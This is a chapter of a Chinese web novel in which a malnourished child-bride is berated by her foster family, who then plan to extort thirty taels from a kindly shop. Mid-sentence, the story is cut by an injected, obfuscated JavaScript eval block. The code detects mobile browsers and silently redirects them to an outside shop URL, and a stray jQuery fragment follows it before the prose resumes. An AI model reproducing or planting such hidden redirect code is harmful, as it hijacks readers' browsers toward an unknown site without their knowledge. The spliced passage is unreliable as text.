张五娘回到刘家时，天色已经沉了。
雨没有下透，院子里的泥地只湿了一层，踩上去黏鞋。
刘家灶屋低矮，屋檐底下挂着几件半干不干的旧衣，潮气混着柴烟，闷在人脸上。
五娘进门时，先把鞋底在门槛外蹭干净，才敢跨进去。
刘家婆子坐在灶屋门边择菜。
说是择菜，其实盆里只有几把老叶子，叶梗粗，叶边发黄。
她抬眼看了五娘一下，没问路上淋没淋雨，也没问东西重不重，只先看她手里的竹筒和两只盏，“放桌上。”
张五娘把东西放下，手臂还僵着。
她一路抱得太紧，竹筒绳在腕上勒出一道红印。她下意识拿袖子遮了一下，还没遮严，刘家婆子的眼睛已经扫过去。
“装什么娇气？提两只盏，也能勒坏你？”
张五娘把手放下，“没有。”
“没有就去把灶下火看着。”刘家婆子说完，又想起桌上的东西，手里的菜叶一丢，“等等。”
她擦了擦手，走过来，先把两只酸梅饮拿起来看。
盏口封得齐整，纸绳也打得妥帖。旁边那只竹筒扣得严严实实，筒身还沾着一点路上的潮气。
刘婆子没有立刻说话，她出门前给了张五娘多少钱，自己心里清楚。
她给的正好是饮子钱，没多准备两文押钱。
刘婆子的脸色一点点沉下去，“何记没收你押盏钱？”
张五娘低声道：“何掌柜说，明日还盏就是。”
刘家婆子的手停在桌沿上。
灶屋里锅水滚着，热气一阵阵冒上来。张五娘站在那团热气旁，低着头，鬓边的碎发贴在脸上，瘦得下巴尖尖的，像一阵风就能吹倒。
刘家婆子看着她，眼里没有半分怜惜，只有疑心，“她凭什么让你明日再还？”
五娘答不上来。
刘家婆子把两只盏放回桌上，手指在盏口封纸上按了一下，“何记什么时候开了善堂，押钱都能给你宽下，她倒真看得起你。”
五娘仍旧不说话。
她越不说话，刘婆子越觉得有鬼，“你袖子里是什么？拿出来，别等我去搜。”
五娘慢慢从袖中取出那个小纸包，放在桌上。
纸包被她攥了一路，已经软了。刘婆子打开一看，里头不是成盏的饮子，只是一点木莲冻刮下来的碎边，浇了一层淡梅子汁。
冻已经散了形，汁水洇进纸角，浅红一片。
刘婆子盯着那点碎冻看了一会儿，把纸包合上，往桌上一丢，“何记倒会做人情。”
五娘低声道：“何掌柜说，是卖剩的边角，叫我路上尝一口。”
“路上尝一口？”刘婆子转头看她，冷冷道：“我在家里短你吃了？还要外头人心疼你？”
张五娘脸色白了白，她早上只吃了半碗薄粥。
午后出门前，锅里剩的饭被刘二郎盛走了，刘婆子说她回来再吃。
刘婆子最不爱她这副样子。
瘦，白，怯，站着也像缩着。小时候还算听话，长到十五六岁，仍旧没长开。胳膊细得像柴枝，肩背薄，脸上没肉。刘婆子有时候看她，心里也嫌晦气——这样的人，将来进了门，能不能生养都不好说。
可嫌归嫌，养了这么些年，饭也吃了，衣也穿了，哪能让外头人三两口甜水就哄走。
她把桌上的铜钱拨到一边，阴阳怪气道：“你觉得何掌柜人好，是不是？”
张五娘不敢接话。
“人好，也没见她满街给人送木莲冻。”刘婆子道，“偏给你。盏钱也肯欠，吃的也肯塞。她一个开铺子的，图什么？”
五娘抿着嘴，手指绞住袖口。刘家婆子看见她这副样子，心里反倒更有数。
外头这时传来脚步声，刘二郎从布行回来，肩上沾着灰，衣襟敞着，进门先抱怨：“这破天，热也不是，雨也不是，掌柜还叫人搬半日布，闷得人喘不上气。”
他说着看见桌上的酸梅饮，伸手就拿。
刘婆子一巴掌拍开他的手，“脏死了，先去洗洗。”
刘二郎烦躁地啧了一声，到水缸边胡乱冲了两把，回来拿起一盏酸梅饮，灌了几口，才发现五娘站在灶边，脸色不对。
他看她一眼，眼神里先不是关心，是不耐烦的嫌弃，“你又哭丧着脸做什么？”
五娘不吭声，低头去拨灶下的柴。
刘二郎喝了半盏酸梅饮，嘴里舒服了些，脾气却没好。他把盏往桌上一放，目光落在那个小纸包上，“这又是什么？”
刘婆子冷笑道：“何记掌柜施舍她的。”
刘二郎怔了怔，随即脸色不好看起来，“施舍？”
他又看张五娘。
那眼神像在看一件本来摆在自家角落里的旧物，忽然被别人看中了，还拿起来擦了擦。
他心里很是不痛快，“何记给你东西做什么？你同他们很熟？”
张五娘连忙摇头：“不熟。”
“不熟，人家给你吃的？”刘二郎往她身上扫了一眼，语气里带着明晃晃的嫌弃，“你这副样子，到哪里都招晦气。何掌柜图你什么？”
五娘的脸更白了。
刘二郎越说越觉得心里发堵，他对五娘本就不满意。
小时候家里说养个童养媳，省得以后花大聘礼，他没什么想法。可如今长大了，他在布行里见过掌柜家的侄女，见过来裁布的年轻娘子，个个脸色鲜亮，腰身也圆润。
再看张五娘，瘦得没二两肉，低眉顺眼，畏畏缩缩，三棍子打不出一个屁来，真是丢人！
“娘。”刘二郎皱着眉，“你真要叫我娶她？她瘦成这样，风一吹都晃，将来能不能生孩子还不知道。”
五娘手里的火钳一下碰到灶膛，发出一声刺响。
刘二郎看了她一眼，没觉得自己说错。
“我说错了？人家娶媳妇，不就图能过日子，能生养？她这样，做活也慢，走路也慢，成天跟欠了谁似的。”
刘婆子这才淡淡道：“你嫌她不好，也不是外人能碰的。”
刘二郎一噎。
这话他听进去了，嫌弃是一回事，被别人惦记又是另一回事。五娘再不好，也是刘家养着的，将来进不进门，都得由刘家说。
何记凭什么宽她押钱？凭什么给她塞吃的？凭什么叫她一趟一趟往那里跑？
他把盏重重搁到桌上，“娘，何记是不是想管闲事？”
刘家婆子低头把铜钱收拢，“明日你去一趟。”
刘二郎皱眉：“我去做什么？”
“还盏，买饮子。”刘家婆子把两只盏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686812|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和竹筒推到他面前，“五娘明日不去。”
张五娘的手在灶边停住。
刘婆子继续说：“你到了何记，就说家里忙，五娘不得空。若何掌柜问，你就告诉她，刘家养人不是白养的。外头人若真心疼她，就别光拿一点边角料做人情。”
刘二郎问：“那说多少？”
刘家婆子抬眼，眼里没有半分犹豫，“三十两。”
刘二郎愣了一下，“三十两？她值——”
刘家婆子冷冷看过去，刘二郎把后半句咽了。
张五娘站在灶边，低着头，脸上连一点血色都没了。
刘家婆子把那个小纸包拿起来，又丢到桌角。里面那点木莲冻已经化开，淡梅子汁洇了一片，像一块擦不掉的脏痕。
“三十两不是问她值不值。”刘婆子道，“是问何记有多少心。他们若只是一时看她可怜，听见这个数，自然缩回去。若真想管闲事，就拿银子来。”
刘二郎想了想，觉得这话有理。
他原本嫌张五娘不中看，嫌她不讨喜，嫌她像一碗冷掉的粥，端着也没胃口。
可若有人肯为这碗冷粥出银子，那又是另一回事。
“行。”他道，“明日我去。”
刘婆子看向张五娘，“听见了？”
张五娘低低应声：“听见了。”
“往后少往外头跑。”刘婆子道，“别叫人家给你一口剩的，你就不知道自己是谁。你吃的是刘家的饭，睡的是刘家的屋。你这条命，就算不值钱，也不是外头人说拿走就拿走的。”
五娘不敢抬头，也不敢去看桌上的那两只盏。
那两只盏原本该是她明日去何记的由头。
她可以把盏洗得很干净，抱在怀里，从刘家走到何记。
可以站在柜台前，把盏递给何掌柜。何掌柜会看一眼，夸一句“洗得干净”。她也许还能听见周砚平叫她一声阿禾。
这一声小名，她已经很多年没有听见了。
在刘家，没有人叫她阿禾。刘家婆子叫她五娘，刘二郎有时连名字也懒得叫，只说“喂”“你去”“你来”。
久了，她自己也快忘了，旧街上曾有人喊过她，喊得那样自然，像她不是谁家买来养着的童养媳。
她原本不敢想太多，只想着明日还能还盏。
再还一次盏，再走一趟何记，再站一会儿。
哪怕只说两句话也好，哪怕周砚平什么都不问，何掌柜只照常收盏、递水，她也觉得自己还有一点盼头。
灶膛里的火快灭了，灰里只剩一点红，她拿火钳轻轻拨了一下，那点红立刻暗下去。
外头又落了几滴雨，打在院里的水缸上，很快停了。
雨停以后，灶屋更闷。
刘二郎喝完酸梅饮，把空盏往桌上一推，转身进屋。
那只盏在桌上轻轻磕了一声，五娘下意识看过去，又很快低下头。
刘家婆子重新坐回门边择菜，像方才那些话不过是家常闲谈。
五娘弯腰收拾灶灰，灰是潮的，扫不干净，总有一点黏在地上。她用竹片一点点刮，刮到灶角时，听见刘家婆子在门边说：“手脚快些，别一整日死气沉沉的，看着就晦气。”
五娘应了一声。
声音很轻，落在灶屋里，很快就没了。